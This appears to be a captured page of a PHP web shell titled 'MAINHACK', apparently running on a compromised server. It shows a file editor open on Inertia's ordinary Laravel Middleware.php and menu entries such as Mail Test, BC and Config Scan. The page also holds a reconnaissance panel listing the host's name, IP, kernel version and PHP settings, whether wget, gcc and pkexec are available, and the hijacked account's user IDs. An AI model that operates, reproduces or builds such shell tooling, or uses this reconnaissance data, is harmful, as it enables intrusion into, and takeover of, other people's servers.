[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Middleware.php
<?php namespace Inertia; use Closure; use Inertia\Support\Header; use Illuminate\Http\Request; use Illuminate\Support\Facades\Redirect; use Symfony\Component\HttpFoundation\Response; class Middleware { /** * The root template that's loaded on the first page visit. * * @see https://inertiajs.com/server-side-setup#root-template * * @var string */ protected $rootView = 'app'; /** * Determines the current asset version. * * @see https://inertiajs.com/asset-versioning * * @return string|null */ public function version(Request $request) { if (config('app.asset_url')) { return md5(config('app.asset_url')); } if (file_exists($manifest = public_path('mix-manifest.json'))) { return md5_file($manifest); } if (file_exists($manifest = public_path('build/manifest.json'))) { return md5_file($manifest); } return null; } /** * Defines the props that are shared by default. * * @see https://inertiajs.com/shared-data * * @return array */ public function share(Request $request) { return [ 'errors' => Inertia::always($this->resolveValidationErrors($request)), ]; } /** * Sets the root template that's loaded on the first page visit. * * @see https://inertiajs.com/server-side-setup#root-template * * @return string */ public function rootView(Request $request) { return $this->rootView; } /** * Handle the incoming request. * * @return Response */ public function handle(Request $request, Closure $next) { Inertia::version(function () use ($request) { return $this->version($request); }); Inertia::share($this->share($request)); Inertia::setRootView($this->rootView($request)); $response = $next($request); $response->headers->set('Vary', Header::INERTIA); if (! $request->header(Header::INERTIA)) { return $response; } if ($request->method() === 'GET' && $request->header(Header::VERSION, '') !== Inertia::getVersion()) { $response = $this->onVersionChange($request, $response); } if ($response->isOk() && empty($response->getContent())) { $response = $this->onEmptyResponse($request, $response); } if ($response->getStatusCode() === 302 && in_array($request->method(), ['PUT', 'PATCH', 'DELETE'])) { $response->setStatusCode(303); } return $response; } /** * Determines what to do when an Inertia action returned with no response. * By default, we'll redirect the user back to where they came from. */ public function onEmptyResponse(Request $request, Response $response): Response { return Redirect::back(); } /** * Determines what to do when the Inertia asset version has changed. * By default, we'll initiate a client-side location visit to force an update. */ public function onVersionChange(Request $request, Response $response): Response { if ($request->hasSession()) { $request->session()->reflash(); } return Inertia::location($request->fullUrl()); } /** * Resolves and prepares validation errors in such * a way that they are easier to use client-side. * * @return object */ public function resolveValidationErrors(Request $request) { if (! $request->hasSession() || ! $request->session()->has('errors')) { return (object) []; } return (object) collect($request->session()->get('errors')->getBags())->map(function ($bag) { return (object) collect($bag->messages())->map(function ($errors) { return $errors[0]; })->toArray(); })->pipe(function ($bags) use ($request) { if ($bags->has('default') && $request->header(Header::ERROR_BAG)) { return [$request->header(Header::ERROR_BAG) => $bags->get('default')]; } if ($bags->has('default')) { return $bags->get('default'); } return $bags->toArray(); }); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002